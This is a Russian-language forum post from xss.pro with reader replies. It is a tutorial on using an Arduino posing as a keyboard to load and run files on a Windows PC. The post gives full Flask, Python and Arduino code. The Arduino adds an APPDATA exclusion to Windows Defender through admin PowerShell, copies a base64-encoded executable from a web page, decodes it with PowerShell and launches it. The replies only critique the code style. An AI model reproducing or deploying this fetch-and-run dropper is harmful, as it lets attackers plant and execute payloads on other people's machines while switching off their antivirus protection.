• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Подкачка файлов с помощью Arduino

OverlordGameDev

RAM
Пользователь
Регистрация
14.07.2024
Сообщения
106
Реакции
131

Предисловие​

В данной статье будет показано, как сделать загрузчик файлов с сервера, используя Arduino.

P.S. Эта идея пришла ко мне во время написания нейросети для игр в связке с Arduino, и мне показалось хорошей идеей при запуске Arduino на новом компьютере сразу получать архив с нейросетью. Однако в данной статье будет показано, как в принципе реализовать загрузку абсолютно любого файла.

Принцип работы​

Будет написан простейший сервер на Flask с одной страницей, на которой будет находиться файл, который нужно будет подкачивать. Файл будет отображаться в виде строки base64.
Также будет написана программа для конвертации exe в формат текста base64.
Затем, при подключении Arduino и с помощью эмуляции клавиатуры и мыши, оно будет заходить на страницу с файлом в виде текста, копировать этот текст. Затем создавать на компьютере файл формата txt, вставлять в этот файл скопированный текст и сохранять. Далее будет вызываться PowerShell для конвертации файла из base64 в бинарный формат и сохранения конвертированных данных в новый файл, но уже формата exe или любого другого, который вам нужен.
Затем будет следовать запуск получившейся программы.
Также будет предусмотрено добавление файла в исключения Windows Defender.

P.S. Вся работа с Arduino будет сведена к эмуляции и только к ней, то есть всё, что будет делать Arduino, будет отображаться на экране, и скрыть это будет нельзя.

Сервер на Flask​

Первым делом будет написан простейший сервер на Flask. Файл Python будет называться server.py, в нём сразу же нужно написать простейшую логику с одной страницей.
Python:
from flask import Flask


app = Flask(__name__)
@app.route('/')
def index():
   return

При переходе на страницу index ничего не будет отображаться, так как return ничего не возвращает. Можно сделать отдельный HTML файл и возвращать его, в таком случае весь контент из HTML файла будет успешно отображаться, но мне показалось это лишним действием, и можно поступить по-другому.

Нужно создать переменную, в которую в дальнейшем будет вставлено приложение в виде текста, и в return просто возвращать эту переменную.
Python:
text_block = "Приложение в виде текста"


@app.route('/')
def index():
   return text_block

Далее нужно указать запуск Flask приложения при запуске этого Python файла.
Python:
if __name__ == '__main__':
   app.run(debug=True)
(debug=True) означает, что запущенное в этом режиме приложение будет отображать подробные ошибки в случае их возникновения. Также при изменении кода во время работы приложения изменения будут применяться автоматически без необходимости его перезапуска.

Для продакшена нужно будет указать IP и порт сервера. Это можно сделать там же, где выставлен флаг для запуска в режиме отладки.
Python:
app.run(host="0.0.0.0", port="1488", debug=True)
"При указании IP в виде 0.0.0.0 на страницу можно будет перейти как по локальному адресу 127.0.0.1, так и по IP, доступному для каждого пользователя.

С сервером закончено, и теперь нужно написать программу для конвертации нужного файла в текст."

Конвертер файла в текст base64​

Программа будет просто брать файл по указанному пути, читать его в бинарном формате, а затем записывать прочитанные данные в простой TXT-файл в виде строки base64.
Python:
input_path = ""
output_path = ""


# Чтение файла в бинарном режиме
with open(input_path, 'rb') as file:
   file_bytes = file.read()


# Конвертация байтов в Base64
file_base64 = base64.b64encode(file_bytes)


# Запись Base64 строки в текстовый файл
with open(output_path, 'wb') as output_file:
   output_file.write(file_base64)


print(f"Файл успешно сохранён в {output_path}")

Вот что получается на выходе при запуске программы конвертации:
1729546126936.png


Далее нужно просто вставить эти данные в Flask-приложении в переменную text_block, и после его запуска страница index будет выглядеть таким образом:
1729546196661.png


P.S. Конвертация файла в base64 и сервер были разделены на два проекта для наглядности. Можно сделать конвертацию прямо при запуске Flask-приложения и возвращать данные сразу же на странице, без сохранения base64 данных в TXT и без ручной вставки этих данных на страницу.
Python:
import base64
from flask import Flask

app = Flask(__name__)

input_path = "Путь до файла"


# Чтение файла в бинарном режиме
with open(input_path, 'rb') as file:
   file_bytes = file.read()


# Конвертация байтов в Base64
file_base64 = base64.b64encode(file_bytes)


@app.route('/')
def index():
   return file_base64


if __name__ == '__main__':
   app.run(host="0.0.0.0", port="1488", debug=True)

Возможные вопросы по реализации​

Почему просто не записать байты нужного приложения прямо в Arduino?
Это не получится сделать, так как память Arduino крайне мала, и на него не поместится даже 1 МБ данных. Это можно исправить, купив отдельный модуль с разъемом для флешки, но в данный момент у меня его нет.

Как Arduino соберет эти данные обратно в файл?
Сам Arduino не заточен под выполнение подобных задач и конвертировать обратно из base64 в байты он не сможет. Поэтому в дальнейшем Arduino будет запускать команду PowerShell, которая будет производить конвертацию с помощью встроенных функций в Windows.

P.S. На Arduino есть библиотека, позволяющая конвертировать base64, но для этого ей потребуется загрузить в себя данные, которые без модуля для подключения флешки не влезут.

Почему бы просто не отобразить бинарные данные прямо на сайте, а не в base64?
Проблема в кодировке. В браузере не получится отобразить бинарные символы, и они просто будут сломаны.
Также я попытался не отображать бинарные данные, а сделать так, чтобы при открытии страницы они сразу отправлялись в буфер обмена. В итоге возникла такая же сложность с кодировкой.

Итак, когда сервер готов, и подкачиваемый файл конвертирован в нужный формат, можно приступать к реализации логики на Arduino.

Arduino логика​

Вся логика будет построена только на эмуляции клавиатуры. Для этого в коде Arduino нужно импортировать библиотеку Keyboard.h. Вся логика будет срабатывать только при подключении Arduino, а не постоянно, поэтому весь код будет записан в void setup(). Первое, что будет реализовано, — это добавление папки appdata/roaming в исключения Windows Defender (именно в этой папке будет храниться файл).

C++:
void setup() {
  delay(2000);
  Keyboard.begin();
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.releaseAll();
  delay(500);
  Keyboard.print("powershell");
  delay(500);
  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  delay(2000);
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press('y');
  Keyboard.releaseAll();
  delay(1000);
  Keyboard.print("Add-MpPreference -ExclusionPath $env:APPDATA");
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  delay(500);
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(KEY_F4);
  Keyboard.releaseAll();
  delay(1000);
}
Задержка в начале нужна для того, чтобы компьютер успел распознать Arduino как клавиатуру. Далее происходит нажатие на кнопку Windows, вводится PowerShell и запускается с администраторскими правами (эмуляция Ctrl + Shift + Enter). После этого в него вводится команда для добавления папки в исключения, и затем происходит закрытие.

P.S. Очень важно, чтобы при подключении Arduino к компьютеру язык ввода был английским, иначе вместо команд будет простое месиво из букв.

Далее следует открыть браузер, перейти на страницу с данными и скопировать с нее данные.
C++:
Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();
  delay(500);
  Keyboard.print("msedge ");
  Keyboard.print("http://127.0.0.1:1488/");
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  delay(5000);
  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press('a');
  Keyboard.releaseAll();
  delay(500);
  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press('c');
  Keyboard.releaseAll();
  delay(1000);
Открытие браузера происходит через Win + R. К сожалению, сделать так, чтобы запускался любой браузер по умолчанию, нельзя, поэтому был выбран стандартный браузер в Windows. Пауза в 5 секунд нужна для того, чтобы страница успела прогрузиться. К сожалению, Arduino не может следить за выполнением каких-либо процессов на компьютере, поэтому после каждого действия приходится ставить примерную паузу.

Теперь текст копируется, и нужно сделать открытие Блокнота и сохранение в него данных.
C++:
Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();
  delay(500);
  Keyboard.print("notepad");
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  delay(1000);
  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press('v');
  Keyboard.releaseAll();
  delay(500);
  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press('s');
  Keyboard.releaseAll();
  delay(500);
  Keyboard.print("%APPDATA%\\Document.txt");
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  delay(2000);
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(KEY_F4);
  Keyboard.releaseAll();
  delay(1000);
Для тех, кто не пользуется биндами, Ctrl + S сохраняет файл. %APPDATA% указан именно так, чтобы не указывать пользователя.

Далее нужно запустить PowerShell, чтобы конвертировать base64 в бинарный формат и сохранить эти данные в файл с нужным форматом.
C++:
Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();
  delay(500);
 
  Keyboard.print("powershell");
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  delay(2000);
 
  Keyboard.print("$inputFile = \"$env:APPDATA\\Document.txt\"; ");
  Keyboard.print("$outputFile = \"$env:APPDATA\\Program.zip\"; ");
  Keyboard.print("(Get-Content $inputFile -Raw) | ForEach-Object { [System.Convert]::FromBase64String($_) } | Set-Content -Path $outputFile -Encoding Byte; ");
 
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
 
  delay(2000);

Так как у меня файл ZIP и в нем уже находится EXE-файл, нужно дополнительно в PowerShell ввести команду для разархивации.
C++:
Keyboard.print("Expand-Archive -Path $outputFile -DestinationPath \"$env:APPDATA\\Unzipped\" -Force; ");
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();

Далее следует запустить, наконец-то, файл.
Python:
Keyboard.print("Start-Process \"$env:APPDATA\\Unzipped\\Soft.exe\";");
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  Keyboard.end();
Последнюю строку нужно указывать, когда абсолютно все действия с эмуляцией мыши закончены.
P.S. Если ваш файл требует администраторских прав, то это можно обойти, также используя эмуляцию.

Бонусная идея для реализации​

Как бонус, хотелось бы показать еще один вариант применения эмуляции на Arduino. А именно — автоматический ввод пароля. Например, используя VeraCrypt или какой-то очень важный для вас сайт, можно указать пароль длиной 50-100 символов, и с помощью Arduino такой пароль ввести гораздо проще.
C++:
void setup() {
  delay(2000);
  Keyboard.begin();
  Keyboard.print("dsfgjdjfojdslkfjodsjfj12j43213j4iojf843ur21dsim3#21esafm90823r!!~@$234fndijs324");
  Keyboard.end();
}
Разумеется, это самый банальный код; важна идея, которую можно развивать.
Например, если у вас имеется модуль матричной клавиатуры, можно сделать список паролей и запускать эмуляцию конкретного пароля при нажатии конкретной клавиши или нескольких клавиш. Таким образом, получится физическое хранилище паролей.
Также, используя подобную клавиатуру, можно добавить запуск действий только при вводе пароля от Arduino или вообще докупить модуль для отпечатка пальца для этого.
Кроме того, с такой клавиатурой и модулем для SD-карт можно сделать подгрузку конкретных программ на компьютер без использования сервера.
1729546441349.png

Вывод​

Статья получилась супер простой, но показанные в ней идеи мне показались достаточно интересными; каждую из них можно развивать, купив различные модули. Возможно, я приобрету их в дальнейшем и покажу готовые и улучшенные варианты того, что было реализовано в статье. Если у вас появились свои идеи о том, как можно использовать Arduino, с удовольствием об этом прочитаю и попробую реализовать.

Ссылка на статью в виде документа: https://docs.google.com/document/d/1DUs68kaIVmQmu7t1QAfHwMj8K_sbYRCwkG2VKCxpsr0/edit?usp=sharing

Сделано OverlordGameDev специально для форума xss.pro
 

Whisper

Хочу, чтобы ты оценил статью. Я спрашивал мнение админа, он сказал, что желательно не описывать каждую строчку кода, но в целом со статьями все в порядке. Именно это я и старался сделать в данной статье (скорее всего не до конца получилось). Хотел бы услышать, лучше ли стало в целом?
 
Следующие пол года исходи из того что читатель знает питон и цпп лучше тебя, ты все еще упарываешся в описание банальностей.

Качество твоего кода следующие пару лет критиковать смысла мало, но банальные момнеты напомню
избегай магических числ
Код:
delay(500);
  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press('s');
  Keyboard.releaseAll();
  delay(500);
  Keyboard.print("%APPDATA%\\Document.txt");
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  delay(2000);
почему 500? почему 2000? Давай нормальные имена, а что если у чувака тормозит система? ему что надо найти все 500 и поменять на 1500 а все 2000 поменять на 3000?
#define KEYPRESS_DELAY 500
delay(KEYPRESS_DELAY);
все стоит нам поменять одно определение и мы подстроили задержку под себя, и имя понятное.

void setup() {??? твои сетупы точно сетупят? а если сетупят то что? имена должны отражать суть содержания так что бы не надо было было читать код что бы понять что он делает, что делает код говори имя, содержание смотрят что бы понять как он делает то что заявлено в имени и это важно что бы по именам быстро понять что это и только если тебе надо вникать как то читать тело функции иначе просто пролистывать. Представь что функция это коробка, представь что у тебя много коробок со всяким разным барахлом, но ты ищешь носки, согласись если на коробке написано носки и в ней дествительно лежат только носки то это все упрощает при поиске, но во если на коробках написано нечто не определенное и внутри все смешано то поиск будет затруднен.

Ты взялся программировать и даже получать с этого прибыль, ты больше не имеешь право говорить что ты художник а не программист потому вот все так. Добро пожаловать в программисты, учись, старайся, пиши статьи они хорошие а будут становиться еще лучше.
 
Последнее редактирование:
P.S. Очень важно, чтобы при подключении Arduino к компьютеру язык ввода был английским, иначе вместо команд будет простое месиво из букв.
https://xss.pro/threads/76979/post-651092
 
void setup() {??? твои сетупы точно сетупят? а если сетупят то что?
В adruino 2 точки входа: setup и loop
setup выполняется 1 раз при включении устройства
loop выполняется в бесконечном цикле после завершения setup
https://docs . arduino . cc/language-reference/en/structure/sketch/setup/

ТС пишет
Вся логика будет срабатывать только при подключении Arduino, а не постоянно, поэтому весь код будет записан в void setup()
 
В adruino 2 точки входа: setup и loop
Неплохй повод отметить это коментарием в коде, не так ли, ведь это лежит за пределами логики которою видно в сорце. И еще в подобных точках входа ничего непосредственно не делалают а делегируют функциям с понятными именами. Точки подобные main это самые грязные с точки срения кода места в программе, с этим надо смириться и минимизировать "грязь".
Если что это все не критика в плане негатива, это все помощь в том что бы быстрее учиться как делать лучше.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх